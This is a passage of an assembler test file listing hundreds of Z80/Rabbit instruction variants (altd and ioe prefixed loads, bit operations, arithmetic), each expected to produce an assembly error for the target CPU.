; Error altd ld h, 127 ; Error altd ld h, 255 ; Error altd ld h, a ; Error altd ld h, b ; Error altd ld h, c ; Error altd ld h, d ; Error altd ld h, e ; Error altd ld h, h ; Error altd ld h, l ; Error altd ld hl, (-32768) ; Error altd ld hl, (32767) ; Error altd ld hl, (65535) ; Error altd ld hl, (hl) ; Error altd ld hl, (hl+127) ; Error altd ld hl, (hl-128) ; Error altd ld hl, (ix) ; Error altd ld hl, (ix+127) ; Error altd ld hl, (ix-128) ; Error altd ld hl, (iy) ; Error altd ld hl, (iy+127) ; Error altd ld hl, (iy-128) ; Error altd ld hl, (sp) ; Error altd ld hl, (sp+0) ; Error altd ld hl, (sp+255) ; Error altd ld hl, -32768 ; Error altd ld hl, 32767 ; Error altd ld hl, 65535 ; Error altd ld hl, bc ; Error altd ld hl, de ; Error altd ld hl, ix ; Error altd ld hl, iy ; Error altd ld l, (hl) ; Error altd ld l, (ix) ; Error altd ld l, (ix+127) ; Error altd ld l, (ix-128) ; Error altd ld l, (iy) ; Error altd ld l, (iy+127) ; Error altd ld l, (iy-128) ; Error altd ld l, -128 ; Error altd ld l, 127 ; Error altd ld l, 255 ; Error altd ld l, a ; Error altd ld l, b ; Error altd ld l, c ; Error altd ld l, d ; Error altd ld l, e ; Error altd ld l, h ; Error altd ld l, l ; Error altd neg ; Error altd neg a ; Error altd or (hl) ; Error altd or (ix) ; Error altd or (ix+127) ; Error altd or (ix-128) ; Error altd or (iy) ; Error altd or (iy+127) ; Error altd or (iy-128) ; Error altd or -128 ; Error altd or 127 ; Error altd or 255 ; Error altd or a ; Error altd or a, (hl) ; Error altd or a, (ix) ; Error altd or a, (ix+127) ; Error altd or a, (ix-128) ; Error altd or a, (iy) ; Error altd or a, (iy+127) ; Error altd or a, (iy-128) ; Error altd or a, -128 ; Error altd or a, 127 ; Error altd or a, 255 ; Error altd or a, a ; Error altd or a, b ; Error altd or a, c ; Error altd or a, d ; Error altd or a, e ; Error altd or a, h ; Error altd or a, l ; Error altd or b ; Error altd or c ; Error altd or d ; Error altd or e ; Error altd or h ; Error altd or hl, de ; Error altd or ix, de ; Error altd or iy, de ; Error altd or l ; Error altd pop af ; Error altd pop bc ; Error altd pop de ; Error altd pop hl ; Error altd res -1, a ; Error altd res -1, a ; Error altd res -1, b ; Error altd res -1, b ; Error altd res -1, c ; Error altd res -1, c ; Error altd res -1, d ; Error altd res -1, d ; Error altd res -1, e ; Error altd res -1, e ; Error altd res -1, h ; Error altd res -1, h ; Error altd res -1, l ; Error altd res -1, l ; Error altd res 0, a ; Error altd res 0, b ; Error altd res 0, c ; Error altd res 0, d ; Error altd res 0, e ; Error altd res 0, h ; Error altd res 0, l ; Error altd res 1, a ; Error altd res 1, b ; Error altd res 1, c ; Error altd res 1, d ; Error altd res 1, e ; Error altd res 1, h ; Error altd res 1, l ; Error altd res 2, a ; Error altd res 2, b ; Error altd res 2, c ; Error altd res 2, d ; Error altd res 2, e ; Error altd res 2, h ; Error altd res 2, l ; Error altd res 3, a ; Error altd res 3, b ; Error altd res 3, c ; Error altd res 3, d ; Error altd res 3, e ; Error altd res 3, h ; Error altd res 3, l ; Error altd res 4, a ; Error altd res 4, b ; Error altd res 4, c ; Error altd res 4, d ; Error altd res 4, e ; Error altd res 4, h ; Error altd res 4, l ; Error altd res 5, a ; Error altd res 5, b ; Error altd res 5, c ; Error altd res 5, d ; Error altd res 5, e ; Error altd res 5, h ; Error altd res 5, l ; Error altd res 6, a ; Error altd res 6, b ; Error altd res 6, c ; Error altd res 6, d ; Error altd res 6, e ; Error altd res 6, h ; Error altd res 6, l ; Error altd res 7, a ; Error altd res 7, b ; Error altd res 7, c ; Error altd res 7, d ; Error altd res 7, e ; Error altd res 7, h ; Error altd res 7, l ; Error altd res 8, a ; Error altd res 8, a ; Error altd res 8, b ; Error altd res 8, b ; Error altd res 8, c ; Error altd res 8, c ; Error altd res 8, d ; Error altd res 8, d ; Error altd res 8, e ; Error altd res 8, e ; Error altd res 8, h ; Error altd res 8, h ; Error altd res 8, l ; Error altd res 8, l ; Error altd rl (hl) ; Error altd rl (ix) ; Error altd rl (ix+127) ; Error altd rl (ix-128) ; Error altd rl (iy) ; Error altd rl (iy+127) ; Error altd rl (iy-128) ; Error altd rl a ; Error altd rl b ; Error altd rl c ; Error altd rl d ; Error altd rl de ; Error altd rl e ; Error altd rl h ; Error altd rl l ; Error altd rla ; Error altd rlc (hl) ; Error altd rlc (ix) ; Error altd rlc (ix+127) ; Error altd rlc (ix-128) ; Error altd rlc (iy) ; Error altd rlc (iy+127) ; Error altd rlc (iy-128) ; Error altd rlc a ; Error altd rlc b ; Error altd rlc c ; Error altd rlc d ; Error altd rlc e ; Error altd rlc h ; Error altd rlc l ; Error altd rlca ; Error altd rr (hl) ; Error altd rr (ix) ; Error altd rr (ix+127) ; Error altd rr (ix-128) ; Error altd rr (iy) ; Error altd rr (iy+127) ; Error altd rr (iy-128) ; Error altd rr a ; Error altd rr b ; Error altd rr c ; Error altd rr d ; Error altd rr de ; Error altd rr e ; Error altd rr h ; Error altd rr hl ; Error altd rr ix ; Error altd rr iy ; Error altd rr l ; Error altd rra ; Error altd rrc (hl) ; Error altd rrc (ix) ; Error altd rrc (ix+127) ; Error altd rrc (ix-128) ; Error altd rrc (iy) ; Error altd rrc (iy+127) ; Error altd rrc (iy-128) ; Error altd rrc a ; Error altd rrc b ; Error altd rrc c ; Error altd rrc d ; Error altd rrc e ; Error altd rrc h ; Error altd rrc l ; Error altd rrca ; Error altd sbc (hl) ; Error altd sbc (ix) ; Error altd sbc (ix+127) ; Error altd sbc (ix-128) ; Error altd sbc (iy) ; Error altd sbc (iy+127) ; Error altd sbc (iy-128) ; Error altd sbc -128 ; Error altd sbc 127 ; Error altd sbc 255 ; Error altd sbc a ; Error altd sbc a, (hl) ; Error altd sbc a, (ix) ; Error altd sbc a, (ix+127) ; Error altd sbc a, (ix-128) ; Error altd sbc a, (iy) ; Error altd sbc a, (iy+127) ; Error altd sbc a, (iy-128) ; Error altd sbc a, -128 ; Error altd sbc a, 127 ; Error altd sbc a, 255 ; Error altd sbc a, a ; Error altd sbc a, b ; Error altd sbc a, c ; Error altd sbc a, d ; Error altd sbc a, e ; Error altd sbc a, h ; Error altd sbc a, l ; Error altd sbc b ; Error altd sbc c ; Error altd sbc d ; Error altd sbc e ; Error altd sbc h ; Error altd sbc hl, bc ; Error altd sbc hl, de ; Error altd sbc hl, hl ; Error altd sbc hl, sp ; Error altd sbc l ; Error altd scf ; Error altd scf f ; Error altd set -1, a ; Error altd set -1, a ; Error altd set -1, b ; Error altd set -1, b ; Error altd set -1, c ; Error altd set -1, c ; Error altd set -1, d ; Error altd set -1, d ; Error altd set -1, e ; Error altd set -1, e ; Error altd set -1, h ; Error altd set -1, h ; Error altd set -1, l ; Error altd set -1, l ; Error altd set 0, a ; Error altd set 0, b ; Error altd set 0, c ; Error altd set 0, d ; Error altd set 0, e ; Error altd set 0, h ; Error altd set 0, l ; Error altd set 1, a ; Error altd set 1, b ; Error altd set 1, c ; Error altd set 1, d ; Error altd set 1, e ; Error altd set 1, h ; Error altd set 1, l ; Error altd set 2, a ; Error altd set 2, b ; Error altd set 2, c ; Error altd set 2, d ; Error altd set 2, e ; Error altd set 2, h ; Error altd set 2, l ; Error altd set 3, a ; Error altd set 3, b ; Error altd set 3, c ; Error altd set 3, d ; Error altd set 3, e ; Error altd set 3, h ; Error altd set 3, l ; Error altd set 4, a ; Error altd set 4, b ; Error altd set 4, c ; Error altd set 4, d ; Error altd set 4, e ; Error altd set 4, h ; Error altd set 4, l ; Error altd set 5, a ; Error altd set 5, b ; Error altd set 5, c ; Error altd set 5, d ; Error altd set 5, e ; Error altd set 5, h ; Error altd set 5, l ; Error altd set 6, a ; Error altd set 6, b ; Error altd set 6, c ; Error altd set 6, d ; Error altd set 6, e ; Error altd set 6, h ; Error altd set 6, l ; Error altd set 7, a ; Error altd set 7, b ; Error altd set 7, c ; Error altd set 7, d ; Error altd set 7, e ; Error altd set 7, h ; Error altd set 7, l ; Error altd set 8, a ; Error altd set 8, a ; Error altd set 8, b ; Error altd set 8, b ; Error altd set 8, c ; Error altd set 8, c ; Error altd set 8, d ; Error altd set 8, d ; Error altd set 8, e ; Error altd set 8, e ; Error altd set 8, h ; Error altd set 8, h ; Error altd set 8, l ; Error altd set 8, l ; Error altd sla (hl) ; Error altd sla (ix) ; Error altd sla (ix+127) ; Error altd sla (ix-128) ; Error altd sla (iy) ; Error altd sla (iy+127) ; Error altd sla (iy-128) ; Error altd sla a ; Error altd sla b ; Error altd sla c ; Error altd sla d ; Error altd sla e ; Error altd sla h ; Error altd sla l ; Error altd sra (hl) ; Error altd sra (ix) ; Error altd sra (ix+127) ; Error altd sra (ix-128) ; Error altd sra (iy) ; Error altd sra (iy+127) ; Error altd sra (iy-128) ; Error altd sra a ; Error altd sra b ; Error altd sra c ; Error altd sra d ; Error altd sra e ; Error altd sra h ; Error altd sra l ; Error altd srl (hl) ; Error altd srl (ix) ; Error altd srl (ix+127) ; Error altd srl (ix-128) ; Error altd srl (iy) ; Error altd srl (iy+127) ; Error altd srl (iy-128) ; Error altd srl a ; Error altd srl b ; Error altd srl c ; Error altd srl d ; Error altd srl e ; Error altd srl h ; Error altd srl l ; Error altd sub (hl) ; Error altd sub (ix) ; Error altd sub (ix+127) ; Error altd sub (ix-128) ; Error altd sub (iy) ; Error altd sub (iy+127) ; Error altd sub (iy-128) ; Error altd sub -128 ; Error altd sub 127 ; Error altd sub 255 ; Error altd sub a ; Error altd sub a, (hl) ; Error altd sub a, (ix) ; Error altd sub a, (ix+127) ; Error altd sub a, (ix-128) ; Error altd sub a, (iy) ; Error altd sub a, (iy+127) ; Error altd sub a, (iy-128) ; Error altd sub a, -128 ; Error altd sub a, 127 ; Error altd sub a, 255 ; Error altd sub a, a ; Error altd sub a, b ; Error altd sub a, c ; Error altd sub a, d ; Error altd sub a, e ; Error altd sub a, h ; Error altd sub a, l ; Error altd sub b ; Error altd sub c ; Error altd sub d ; Error altd sub e ; Error altd sub h ; Error altd sub l ; Error altd xor (hl) ; Error altd xor (ix) ; Error altd xor (ix+127) ; Error altd xor (ix-128) ; Error altd xor (iy) ; Error altd xor (iy+127) ; Error altd xor (iy-128) ; Error altd xor -128 ; Error altd xor 127 ; Error altd xor 255 ; Error altd xor a ; Error altd xor a, (hl) ; Error altd xor a, (ix) ; Error altd xor a, (ix+127) ; Error altd xor a, (ix-128) ; Error altd xor a, (iy) ; Error altd xor a, (iy+127) ; Error altd xor a, (iy-128) ; Error altd xor a, -128 ; Error altd xor a, 127 ; Error altd xor a, 255 ; Error altd xor a, a ; Error altd xor a, b ; Error altd xor a, c ; Error altd xor a, d ; Error altd xor a, e ; Error altd xor a, h ; Error altd xor a, l ; Error altd xor b ; Error altd xor c ; Error altd xor d ; Error altd xor e ; Error altd xor h ; Error altd xor l ; Error and a', (hl) ; Error and a', (ix) ; Error and a', (ix+127) ; Error and a', (ix-128) ; Error and a', (iy) ; Error and a', (iy+127) ; Error and a', (iy-128) ; Error and a', -128 ; Error and a', 127 ; Error and a', 255 ; Error and a', a ; Error and a', b ; Error and a', c ; Error and a', d ; Error and a', e ; Error and a', h ; Error and a', l ; Error and a, ixh ; Error and a, ixl ; Error and a, iyh ; Error and a, iyl ; Error and hl', de ; Error and hl, de ; Error and ix, de ; Error and ixh ; Error and ixl ; Error and iy, de ; Error and iyh ; Error and iyl ; Error bit -1, (hl) ; Error bit -1, (hl) ; Error bit -1, (ix) ; Error bit -1, (ix) ; Error bit -1, (ix+127) ; Error bit -1, (ix+127) ; Error bit -1, (ix-128) ; Error bit -1, (ix-128) ; Error bit -1, (iy) ; Error bit -1, (iy) ; Error bit -1, (iy+127) ; Error bit -1, (iy+127) ; Error bit -1, (iy-128) ; Error bit -1, (iy-128) ; Error bit -1, a ; Error bit -1, a ; Error bit -1, b ; Error bit -1, b ; Error bit -1, c ; Error bit -1, c ; Error bit -1, d ; Error bit -1, d ; Error bit -1, e ; Error bit -1, e ; Error bit -1, h ; Error bit -1, h ; Error bit -1, ixh ; Error bit -1, ixh ; Error bit -1, ixl ; Error bit -1, ixl ; Error bit -1, iyh ; Error bit -1, iyh ; Error bit -1, iyl ; Error bit -1, iyl ; Error bit -1, l ; Error bit -1, l ; Error bit 0, ixh ; Error bit 0, ixl ; Error bit 0, iyh ; Error bit 0, iyl ; Error bit 1, ixh ; Error bit 1, ixl ; Error bit 1, iyh ; Error bit 1, iyl ; Error bit 2, ixh ; Error bit 2, ixl ; Error bit 2, iyh ; Error bit 2, iyl ; Error bit 3, ixh ; Error bit 3, ixl ; Error bit 3, iyh ; Error bit 3, iyl ; Error bit 4, ixh ; Error bit 4, ixl ; Error bit 4, iyh ; Error bit 4, iyl ; Error bit 5, ixh ; Error bit 5, ixl ; Error bit 5, iyh ; Error bit 5, iyl ; Error bit 6, ixh ; Error bit 6, ixl ; Error bit 6, iyh ; Error bit 6, iyl ; Error bit 7, ixh ; Error bit 7, ixl ; Error bit 7, iyh ; Error bit 7, iyl ; Error bit 8, (hl) ; Error bit 8, (hl) ; Error bit 8, (ix) ; Error bit 8, (ix) ; Error bit 8, (ix+127) ; Error bit 8, (ix+127) ; Error bit 8, (ix-128) ; Error bit 8, (ix-128) ; Error bit 8, (iy) ; Error bit 8, (iy) ; Error bit 8, (iy+127) ; Error bit 8, (iy+127) ; Error bit 8, (iy-128) ; Error bit 8, (iy-128) ; Error bit 8, a ; Error bit 8, a ; Error bit 8, b ; Error bit 8, b ; Error bit 8, c ; Error bit 8, c ; Error bit 8, d ; Error bit 8, d ; Error bit 8, e ; Error bit 8, e ; Error bit 8, h ; Error bit 8, h ; Error bit 8, ixh ; Error bit 8, ixh ; Error bit 8, ixl ; Error bit 8, ixl ; Error bit 8, iyh ; Error bit 8, iyh ; Error bit 8, iyl ; Error bit 8, iyl ; Error bit 8, l ; Error bit 8, l ; Error bool hl ; Error bool hl' ; Error bool ix ; Error bool iy ; Error call lo, -32768 ; Error call lo, 32767 ; Error call lo, 65535 ; Error call lz, -32768 ; Error call lz, 32767 ; Error call lz, 65535 ; Error ccf f' ; Error ccf' ; Error cp a, ixh ; Error cp a, ixl ; Error cp a, iyh ; Error cp a, iyl ; Error cp ixh ; Error cp ixl ; Error cp iyh ; Error cp iyl ; Error cpl a' ; Error dec a' ; Error dec b' ; Error dec bc' ; Error dec c' ; Error dec d' ; Error dec de' ; Error dec e' ; Error dec h' ; Error dec hl' ; Error dec ixh ; Error dec ixl ; Error dec iyh ; Error dec iyl ; Error dec l' ; Error djnz b', ASMPC ; Error ex (sp), hl' ; Error ex de', hl ; Error ex de', hl' ; Error ex de, hl' ; Error idet ; Error im -1 ; Error im -1 ; Error im 3 ; Error im 3 ; Error inc a' ; Error inc b' ; Error inc bc' ; Error inc c' ; Error inc d' ; Error inc de' ; Error inc e' ; Error inc h' ; Error inc hl' ; Error inc ixh ; Error inc ixl ; Error inc iyh ; Error inc iyl ; Error inc l' ; Error ioe adc (hl) ; Error ioe adc (ix) ; Error ioe adc (ix+127) ; Error ioe adc (ix-128) ; Error ioe adc (iy) ; Error ioe adc (iy+127) ; Error ioe adc (iy-128) ; Error ioe adc a', (hl) ; Error ioe adc a', (ix) ; Error ioe adc a', (ix+127) ; Error ioe adc a', (ix-128) ; Error ioe adc a', (iy) ; Error ioe adc a', (iy+127) ; Error ioe adc a', (iy-128) ; Error ioe adc a, (hl) ; Error ioe adc a, (ix) ; Error ioe adc a, (ix+127) ; Error ioe adc a, (ix-128) ; Error ioe adc a, (iy) ; Error ioe adc a, (iy+127) ; Error ioe adc a, (iy-128) ; Error ioe add (hl) ; Error ioe add (ix) ; Error ioe add (ix+127) ; Error ioe add (ix-128) ; Error ioe add (iy) ; Error ioe add (iy+127) ; Error ioe add (iy-128) ; Error ioe add a', (hl) ; Error ioe add a', (ix) ; Error ioe add a', (ix+127) ; Error ioe add a', (ix-128) ; Error ioe add a', (iy) ; Error ioe add a', (iy+127) ; Error ioe add a', (iy-128) ; Error ioe add a, (hl) ; Error ioe add a, (ix) ; Error ioe add a, (ix+127) ; Error ioe add a, (ix-128) ; Error ioe add a, (iy) ; Error ioe add a, (iy+127) ; Error ioe add a, (iy-128) ; Error ioe altd adc (hl) ; Error ioe altd adc (ix) ; Error ioe altd adc (ix+127) ; Error ioe altd adc (ix-128) ; Error ioe altd adc (iy) ; Error ioe altd adc (iy+127) ; Error ioe altd adc (iy-128) ; Error ioe altd adc a, (hl) ; Error ioe altd adc a, (ix) ; Error ioe altd adc a, (ix+127) ; Error ioe altd adc a, (ix-128) ; Error ioe altd adc a, (iy) ; Error ioe altd adc a, (iy+127) ; Error ioe altd adc a, (iy-128) ; Error ioe altd add (hl) ; Error ioe altd add (ix) ; Error ioe altd add (ix+127) ; Error ioe altd add (ix-128) ; Error ioe altd add (iy) ; Error ioe altd add (iy+127) ; Error ioe altd add (iy-128) ; Error ioe altd add a, (hl) ; Error ioe altd add a, (ix) ; Error ioe altd add a, (ix+127) ; Error ioe altd add a, (ix-128) ; Error ioe altd add a, (iy) ; Error ioe altd add a, (iy+127) ; Error ioe altd add a, (iy-128) ; Error ioe altd and (hl) ; Error ioe altd and (ix) ; Error ioe altd and (ix+127) ; Error ioe altd and (ix-128) ; Error ioe altd and (iy) ; Error ioe altd and (iy+127) ; Error ioe altd and (iy-128) ; Error ioe altd and a, (hl) ; Error ioe altd and a, (ix) ; Error ioe altd and a, (ix+127) ; Error ioe altd and a, (ix-128) ; Error ioe altd and a, (iy) ; Error ioe altd and a, (iy+127) ; Error ioe altd and a, (iy-128) ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit 0, (hl) ; Error ioe altd bit 0, (ix) ; Error ioe altd bit 0, (ix+127) ; Error ioe altd bit 0, (ix-128) ; Error ioe altd bit 0, (iy) ; Error ioe altd bit 0, (iy+127) ; Error ioe altd bit 0, (iy-128) ; Error ioe altd bit 1, (hl) ; Error ioe altd bit 1, (ix) ; Error ioe altd bit 1, (ix+127) ; Error ioe altd bit 1, (ix-128) ; Error ioe altd bit 1, (iy) ; Error ioe altd bit 1, (iy+127) ; Error ioe altd bit 1, (iy-128) ; Error ioe altd bit 2, (hl) ; Error ioe altd bit 2, (ix) ; Error ioe altd bit 2, (ix+127) ; Error ioe altd bit 2, (ix-128) ; Error ioe altd bit 2, (iy) ; Error ioe altd bit 2, (iy+127) ; Error ioe altd bit 2, (iy-128) ; Error ioe altd bit 3, (hl) ; Error ioe altd bit 3, (ix) ; Error ioe altd bit 3, (ix+127) ; Error ioe altd bit 3, (ix-128) ; Error ioe altd bit 3, (iy) ; Error ioe altd bit 3, (iy+127) ; Error ioe altd bit 3, (iy-128) ; Error ioe altd bit 4, (hl) ; Error ioe altd bit 4, (ix) ; Error ioe altd bit 4, (ix+127) ; Error ioe altd bit 4, (ix-128) ; Error ioe altd bit 4, (iy) ; Error ioe altd bit 4, (iy+127) ; Error ioe altd bit 4, (iy-128) ; Error ioe altd bit 5, (hl) ; Error ioe altd bit 5, (ix) ; Error ioe altd bit 5, (ix+127) ; Error ioe altd bit 5, (ix-128) ; Error ioe altd bit 5, (iy) ; Error ioe altd bit 5, (iy+127) ; Error ioe altd bit 5, (iy-128) ; Error ioe altd bit 6, (hl) ; Error ioe altd bit 6, (ix) ; Error ioe altd bit 6, (ix+127) ; Error ioe altd bit 6, (ix-128) ; Error ioe altd bit 6, (iy) ; Error ioe altd bit 6, (iy+127) ; Error ioe altd bit 6, (iy-128) ; Error ioe altd bit 7, (hl) ; Error ioe altd bit 7, (ix) ; Error ioe altd bit 7, (ix+127) ; Error ioe altd bit 7, (ix-128) ; Error ioe altd bit 7, (iy) ; Error ioe altd bit 7, (iy+127) ; Error ioe altd bit 7, (iy-128) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy-128) ; Error ioe altd bit 8, (iy-128) ; Error ioe altd cp (hl) ; Error ioe altd cp (ix) ; Error ioe altd cp (ix+127) ; Error ioe altd cp (ix-128) ; Error ioe altd cp (iy) ; Error ioe altd cp (iy+127) ; Error ioe altd cp (iy-128) ; Error ioe altd cp a, (hl) ; Error ioe altd cp a, (ix) ; Error ioe altd cp a, (ix+127) ; Error ioe altd cp a, (ix-128) ; Error ioe altd cp a, (iy) ; Error ioe altd cp a, (iy+127) ; Error ioe altd cp a, (iy-128) ; Error ioe altd dec (hl) ; Error ioe altd dec (ix) ; Error ioe altd dec (ix+127) ; Error ioe altd dec (ix-128) ; Error ioe altd dec (iy) ; Error ioe altd dec (iy+127) ; Error ioe altd dec (iy-128) ; Error ioe altd inc (hl) ; Error ioe altd inc (ix) ; Error ioe altd inc (ix+127) ; Error ioe altd inc (ix-128) ; Error ioe altd inc (iy) ; Error ioe altd inc (iy+127) ; Error ioe altd inc (iy-128) ; Error ioe altd ld a, (-32768) ; Error ioe altd ld a, (32767) ; Error ioe altd ld a, (65535) ; Error ioe altd ld a, (bc) ; Error ioe altd ld a, (de) ; Error ioe altd ld a, (hl) ; Error ioe altd ld a, (ix) ; Error ioe altd ld a, (ix+127) ; Error ioe altd ld a, (ix-128) ; Error ioe altd ld a, (iy) ; Error ioe altd ld a, (iy+127) ; Error ioe altd ld a, (iy-128) ; Error ioe altd ld b, (hl) ; Error ioe altd ld b, (ix) ; Error ioe altd ld b, (ix+127) ; Error ioe altd ld b, (ix-128) ; Error ioe altd ld b, (iy) ; Error ioe altd ld b, (iy+127) ; Error ioe altd ld b, (iy-128) ; Error ioe altd ld bc, (-32768) ; Error ioe altd ld bc, (32767) ; Error ioe altd ld bc, (65535) ; Error ioe altd ld c, (hl) ; Error ioe altd ld c, (ix) ; Error ioe altd ld c, (ix+127) ; Error ioe altd ld c, (ix-128) ; Error ioe altd ld c, (iy) ; Error ioe altd ld c, (iy+127) ; Error ioe altd ld c, (iy-128) ; Error ioe altd ld d, (hl) ; Error ioe altd ld d, (ix) ; Error ioe altd ld d, (ix+127) ; Error ioe altd ld d, (ix-128) ; Error ioe altd ld d, (iy) ; Error ioe altd ld d, (iy+127) ; Error ioe altd ld d, (iy-128) ; Error ioe altd ld de, (-32768) ; Error ioe altd ld de, (32767) ; Error ioe altd ld de, (65535) ; Error ioe altd ld e, (hl) ; Error ioe altd ld e, (ix) ; Error ioe altd ld e, (ix+127) ; Error ioe altd ld e, (ix-128) ; Error ioe altd ld e, (iy) ; Error ioe altd ld e, (iy+127) ; Error ioe altd ld e, (iy-128) ; Error ioe altd ld h, (hl) ; Error ioe altd ld h, (ix) ; Error ioe altd ld h, (ix+127) ; Error ioe altd ld h, (ix-128) ; Error ioe altd ld h, (iy) ; Error ioe altd ld h, (iy+127) ; Error ioe altd ld h, (iy-128) ; Error ioe altd ld hl, (-32768) ; Error ioe altd ld hl, (32767) ; Error ioe altd ld hl, (65535) ; Error ioe altd ld hl, (hl) ; Error ioe altd ld hl, (hl+127) ; Error ioe altd ld hl, (hl-128) ; Error ioe altd ld hl, (ix) ; Error ioe altd ld hl, (ix+127) ; Error ioe altd ld hl, (ix-128) ; Error ioe altd ld hl, (iy) ; Error ioe altd ld hl, (iy+127) ; Error ioe altd ld hl, (iy-128) ; Error ioe altd ld l, (hl) ; Error ioe altd ld l, (ix) ; Error ioe altd ld l, (ix+127) ; Error ioe altd ld l, (ix-128) ; Error ioe altd ld l, (iy) ; Error ioe altd ld l, (iy+127) ; Error ioe altd ld l, (iy-128) ; Error ioe altd or (hl) ; Error ioe altd or (ix) ; Error ioe altd or (ix+127) ; Error ioe altd or (ix-128) ; Error ioe altd or (iy) ; Error ioe altd or (iy+127) ; Error ioe altd or (iy-128) ; Error ioe altd or a, (hl) ; Error ioe altd or a, (ix) ; Error ioe altd or a, (ix+127) ; Error ioe altd or a, (ix-128) ; Error ioe altd or a, (iy) ; Error ioe altd or a, (iy+127) ; Error ioe altd or a, (iy-128) ; Error ioe altd rl (hl) ; Error ioe altd rl (ix) ; Error ioe altd rl (ix+127) ; Error ioe altd rl (ix-128) ; Error ioe altd rl (iy) ; Error ioe altd rl (iy+127) ; Error ioe altd rl (iy-128) ; Error ioe altd rlc (hl) ; Error ioe altd rlc (ix) ; Error ioe altd rlc (ix+127) ; Error ioe altd rlc (ix-128) ; Error ioe altd rlc (iy) ; Error ioe altd rlc (iy+127) ; Error ioe altd rlc (iy-128) ; Error ioe altd rr (hl) ; Error ioe altd rr (ix) ; Error ioe altd rr (ix+127) ; Error ioe altd rr (ix-128) ; Error ioe altd rr (iy) ; Error ioe altd rr (iy+127) ; Error ioe altd rr (iy-128) ; Error ioe altd rrc (hl) ; Error ioe altd rrc (ix) ; Error ioe altd rrc (ix+127) ; Error ioe altd rrc (ix-128) ; Error ioe altd rrc (iy) ; Error ioe altd rrc (iy+127) ; Error ioe altd rrc (iy-128) ; Error ioe altd sbc (hl) ; Error ioe altd sbc (ix) ; Error ioe altd sbc (ix+127) ; Error ioe altd sbc (ix-128) ; Error ioe altd sbc (iy) ; Error ioe altd sbc (iy+127) ; Error ioe altd sbc (iy-128) ; Error ioe altd sbc a, (hl) ; Error ioe altd sbc a, (ix) ; Error ioe altd sbc a, (ix+127) ; Error ioe altd sbc a, (ix-128) ; Error ioe altd sbc a, (iy) ; Error ioe altd sbc a, (iy+127) ; Error ioe altd sbc a, (iy-128) ; Error ioe altd sla (hl) ; Error ioe altd sla (ix) ; Error ioe altd sla (ix+127) ; Error ioe altd sla (ix-128) ; Error ioe altd sla (iy) ; Error ioe altd sla (iy+127) ; Error ioe altd sla (iy-128) ; Error ioe altd sra (hl) ; Error ioe altd sra (ix) ; Error ioe altd sra (ix+127) ; Error ioe altd sra (ix-128) ; Error ioe altd sra (iy) ; Error ioe altd sra (iy+127) ; Error ioe altd sra (iy-128) ; Error ioe altd srl (hl) ; Error ioe altd srl (ix) ; Error ioe altd srl (ix+127) ; Error ioe altd srl (ix-128) ; Error ioe altd srl (iy) ; Error ioe altd srl (iy+127) ; Error ioe altd srl (iy-128) ; Error ioe altd sub (hl) ; Error ioe altd sub (ix) ; Error ioe altd sub (ix+127) ; Error ioe altd sub (ix-128) ; Error ioe altd sub (iy) ; Error ioe altd sub (iy+127) ; Error ioe altd sub (iy-128) ; Error ioe altd sub a, (hl) ; Error ioe altd sub a, (ix) ; Error ioe altd sub a, (ix+127) ; Error ioe altd sub a, (ix-128) ; Error ioe altd sub a, (iy) ; Error ioe altd sub a, (iy+127) ; Error ioe altd sub a, (iy-128) ; Error ioe altd xor (hl) ; Error ioe altd xor (ix) ; Error ioe altd xor (ix+127) ; Error ioe altd xor (ix-128) ; Error ioe altd xor (iy) ; Error ioe altd xor (iy+127) ; Error ioe altd xor (iy-128) ; Error ioe altd xor a, (hl) ; Error ioe altd xor a, (ix) ; Error ioe altd xor a, (ix+127) ; Error ioe altd xor a, (ix-128) ; Error ioe altd xor a, (iy) ; Error ioe altd xor a, (iy+127) ; Error ioe altd xor a, (iy-128) ; Error ioe and (hl) ; Error ioe and (ix) ; Error ioe and (ix+127) ; Error ioe and (ix-128) ; Error ioe and (iy) ; Error ioe and (iy+127) ; Error ioe and (iy-128) ; Error ioe and a', (hl) ; Error ioe and a', (ix) ; Error ioe and a', (ix+127) ; Error ioe and a', (ix-128) ; Error ioe and a', (iy) ; Error ioe and a', (iy+127) ; Error ioe and a', (iy-128) ; Error ioe and a, (hl) ; Error ioe and a, (ix) ; Error ioe and a, (ix+127) ; Error ioe and a, (ix-128) ; Error ioe and a, (iy) ; Error ioe and a, (iy+127) ; Error ioe and a, (iy-128) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy-128) ; Error ioe bit -1, (iy-128) ; Error ioe bit 0, (hl) ; Error ioe bit 0, (ix) ; Error ioe bit 0, (ix+127) ; Error ioe bit 0, (ix-128) ; Error ioe bit 0, (iy) ; Error ioe bit 0, (iy+127) ; Error ioe bit 0, (iy-128) ; Error ioe bit 1, (hl) ; Error ioe bit 1, (ix) ; Error ioe bit 1, (ix+127) ; Error ioe bit 1, (ix-128) ; Error ioe bit 1, (iy) ; Error ioe bit 1, (iy+127) ; Error ioe bit 1, (iy-128) ; Error ioe bit 2, (hl) ; Error ioe bit 2, (ix) ; Error ioe bit 2, (ix+127) ; Error ioe bit 2, (ix-128) ; Error ioe bit 2, (iy) ; Error ioe bit 2, (iy+127) ; Error ioe bit 2, (iy-128) ; Error ioe bit 3, (hl) ; Error ioe bit 3, (ix) ; Error ioe bit 3, 